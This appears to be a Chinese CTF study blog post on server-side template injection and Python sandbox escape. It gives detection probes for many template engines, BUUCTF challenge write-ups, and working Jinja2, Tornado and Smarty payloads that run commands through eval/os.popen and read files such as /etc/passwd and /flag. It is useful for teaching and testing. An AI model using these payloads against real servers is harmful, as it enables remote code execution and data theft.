SSTI模板注入&沙盒逃逸

SSTI&沙盒逃逸

SSTI(Server-Side Template Injection),即服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的,注意一点,python2下有file而在python3下没有,所以是直接用open。

函数解析

__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

获取基本类

''.__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[10]

获取基本类后,继续向下获取基本类(object)的子类

object.__subclasses__()

找到重载过的__init__类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的)

#!/user/bin/env python3
# -*- coding: utf-8 -*-
num = 0
for i in (''.__class__.__mro__[-1].__subclasses__()):
    a = str(i.__init__)
    num += 1
    if "wrapper" not in a:
        print(str(num),a)

# 76 <function _ModuleLock.__init__ at 0x000001C5092C9288>
# 77 <function _DummyModuleLock.__init__ at 0x000001C5092C9558>
# 78 <function _ModuleLockManager.__init__ at 0x000001C5092C9798>
# 79 <function _installed_safely.__init__ at 0x000001C5092C9DC8>
# 80 <function ModuleSpec.__init__ at 0x000001C5092C9F78>
# 92 <function FileLoader.__init__ at 0x000001C5092F5168>
# 93 <function _NamespacePath.__init__ at 0x000001C5092F91F8>
# 94 <function _NamespaceLoader.__init__ at 0x000001C5092F9798>
# 96 <function FileFinder.__init__ at 0x000001C5092FB048>
# 104 <function IncrementalEncoder.__init__ at 0x000001C50932DEE8>
# 105 <function IncrementalDecoder.__init__ at 0x000001C509333558>
# 106 <function StreamReaderWriter.__init__ at 0x000001C509336708>
# 107 <function StreamRecoder.__init__ at 0x000001C509336E58>
# 129 <function _wrap_close.__init__ at 0x000001C50AF41DC8>
# 130 <function Quitter.__init__ at 0x000001C509362B88>
# 131 <function _Printer.__init__ at 0x000001C5093665E8>
# 138 <function DynamicClassAttribute.__init__ at 0x000001C50AF52828>
# 139 <function _GeneratorWrapper.__init__ at 0x000001C50AF52C18>
# 140 <function WarningMessage.__init__ at 0x000001C50AF5F3A8>
# 141 <function catch_warnings.__init__ at 0x000001C50AF5F4C8>
# 168 <function Repr.__init__ at 0x000001C50B10FB88>
# 175 <function partialmethod.__init__ at 0x000001C50B134828>
# 177 <function _GeneratorContextManagerBase.__init__ at 0x000001C50B127798>
# 178 <function _BaseExitStack.__init__ at 0x000001C50B134708>

查看其引用__builtins__

builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块

''.__class__.__mro__[-1].__subclasses__()[76].__init__.__globals__['__builtins__']

这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的open以实现读取文件的功能

''.__class__.__mro__[-1].__subclasses__()[76].__init__.__globals__['__builtins__']['open'](文件路径).read()

命令执行:

''.__class__.__mro__[-1].__subclasses__()[76].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
模版引擎 语言 验证 代码执行 盲检测
Smarty(secured) php {1234*1234} x x
Smarty(unsecured) php {1234*1234} {php}echo md5(0xaa);{/php}
twig php {{“abcdefg”|upper}} x x
Nunjucks javascript {{1234*1234}} {{range.constructor(“return+’abcdefghi’.toUpperCase()”)()}}
doT javascript {{=1234*1234}}
Jade javascript %0a=1234*1234%0a
Marko javascript ${1234*1234}
Mako python ${1234*1234}
Jinja2 python {{1234*1234}}
Tornado python {{1234*1234}}
Slim ruby =”#{1234*1234}”
ERB ruby <%=”#{1234*1234}”%>
Freemarker java ${(1234*1234)?c}

%title插图%num

BUUCTF题目

[BJDCTF2020]The mystery of ip

考点:

  • SSTI-smarty

打开题目看到一个flag,点进去,显示your ip is:172.16.128.15,想到XFF,用hackbar进行测试,发现可控,直接读flag。

[护网杯 2018]easy_tornado

考点:

  • SSTI-tornado

打开题目有3个txt,依次打开,留意url,flag在/fllllllllllllag,url后面的filehash,就是md5(cookie_secret+md5(filename))。尝试访问/file?filename=/fllllllllllllag,出现error?msg=Error,尝试发现msg参数时可控的。只要找到cookie_secret,求出filehash,就能读文件。

cookie_secret在handler.application.settings配置中

%title插图%num

利用cookie_secret,求出filehash:

<?php
$cookie_secret = "271269cc-7cb8-4f66-b003-f13b0dc11924";
$filename = "/fllllllllllllag";
echo md5($cookie_secret.md5($filename));

[CISCN2019 华东南赛区]Web11

考点:

  • SSTI-smarty

%title插图%num

通过页面和底部的Build With Smarty能猜测到时php的smarty引擎,中间xdf,猜测xff是可控的存在ssti

%title插图%num

Smarty常用payload:

利用smarty的{if}条件

  • {$smarty.version}查看smarty版本号
  • {if phpinfo()}{/if}查看php信息
  • {if system('ls /')}{/if}查看根目录下的文件
  • {if system('cat /flag')}{/if}
  • {if readfile('/flag')}{/if}
  • {if show_source('/flag')}{/if}

[WesternCTF2018]shrine

考点:

  • SSTI-flask
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

app.config['FLAG'] = os.environ.pop('FLAG')中能够知道,flag在config中,但题目blacklist = ['config', 'self']禁掉了,不能够直接读取config。

python有一些内置函数

  • url_for
  • get_flashed_messages

url_for.__globals__:以字典类型返回当前位置的全部全局变量,

current_app是当前app,查看current_app下的config信息。

payload1:

/shrine/{{url_for.__globals__['current_app'].config}}

paylaod2:

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

payload

获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__。。。class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()

参考文章

http://flag0.com/2018/11/11/%E6%B5%85%E6%9E%90SSTI-python%E6%B2%99%E7%9B%92%E7%BB%95%E8%BF%87/
https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93/#
https://ctf.ieki.xyz/library/ssti.html

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇